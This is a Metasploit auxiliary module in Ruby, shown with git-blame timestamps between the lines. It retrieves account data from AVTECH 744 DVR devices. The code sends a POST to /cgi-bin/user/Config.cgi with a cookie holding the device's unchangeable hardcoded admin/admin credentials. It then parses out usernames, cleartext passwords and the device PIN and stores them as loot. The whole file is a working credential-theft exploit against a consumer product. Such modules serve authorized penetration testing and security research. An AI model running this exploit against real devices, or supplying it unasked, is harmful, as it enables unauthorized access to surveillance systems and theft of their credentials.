2015-05-21 21:33:06 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-05-29 21:04:29 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'AVTECH 744 DVR Account Information Retrieval',
|
|
|
|
'Description' => %q{
|
2015-06-10 16:09:42 +00:00
|
|
|
This module will extract the account information from the AVTECH 744 DVR devices,
|
|
|
|
including usernames, cleartext passwords, and the device PIN, along with
|
2015-05-29 21:13:43 +00:00
|
|
|
a few other miscellaneous details. In order to extract the information, hardcoded
|
|
|
|
credentials admin/admin are used. These credentials can't be changed from the device
|
2015-06-10 16:09:42 +00:00
|
|
|
console UI nor from the web UI.
|
2015-05-29 21:04:29 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'nstarke' ],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => '/cgi-bin/user/Config.cgi',
|
2015-05-29 21:12:21 +00:00
|
|
|
'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",
|
2015-05-29 21:04:29 +00:00
|
|
|
'vars_post' => {
|
|
|
|
'action' => 'get',
|
|
|
|
'category' => 'Account.*'
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
unless res
|
|
|
|
fail_with(Failure::Unreachable, 'No response received from the target')
|
|
|
|
end
|
|
|
|
|
|
|
|
unless res.code == 200
|
|
|
|
fail_with(Failure::Unknown, 'An unknown error occured')
|
|
|
|
end
|
|
|
|
|
|
|
|
raw_collection = extract_data(res.body)
|
|
|
|
extract_creds(raw_collection)
|
|
|
|
|
|
|
|
p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
|
|
|
|
print_good("avtech744.dvr.accounts stored in #{p}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def extract_data(body)
|
|
|
|
raw_collection = []
|
|
|
|
body.each_line do |line|
|
|
|
|
key, value = line.split('=')
|
|
|
|
if key && value
|
|
|
|
_, second, third = key.split('.')
|
|
|
|
if third
|
|
|
|
index = second.slice(second.length - 1).to_i
|
|
|
|
raw_collection[index] = raw_collection[index] ||= {}
|
|
|
|
case third
|
|
|
|
when 'Username'
|
|
|
|
raw_collection[index][:username] = value.strip!
|
|
|
|
when 'Password'
|
|
|
|
raw_collection[index][:password] = value.strip!
|
|
|
|
end
|
|
|
|
elsif second.include?('Password')
|
|
|
|
print_good("PIN Retrieved: #{key} - #{value.strip!}")
|
2015-05-21 21:33:06 +00:00
|
|
|
end
|
2015-05-29 21:04:29 +00:00
|
|
|
end
|
|
|
|
end
|
2015-05-21 21:33:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
raw_collection
|
|
|
|
end
|
2015-05-21 21:33:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
def extract_creds(raw_collection)
|
|
|
|
raw_collection.each do |raw|
|
|
|
|
unless raw
|
|
|
|
next
|
|
|
|
end
|
2015-05-21 21:33:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
service_data = {
|
|
|
|
address: rhost,
|
|
|
|
port: rport,
|
|
|
|
service_name: 'http',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
2015-05-24 20:03:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
credential_data = {
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
origin_type: :service,
|
|
|
|
private_data: raw[:password],
|
|
|
|
private_type: :password,
|
|
|
|
username: raw[:username]
|
|
|
|
}
|
2015-05-24 20:03:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
credential_data.merge!(service_data)
|
2015-05-24 20:03:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
credential_core = create_credential(credential_data)
|
2015-05-24 20:03:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
|
|
}
|
2015-05-24 20:03:06 +00:00
|
|
|
|
2015-05-29 21:04:29 +00:00
|
|
|
login_data.merge!(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
2015-05-21 21:33:06 +00:00
|
|
|
end
|
2015-05-29 21:04:29 +00:00
|
|
|
end
|
|
|
|
end
|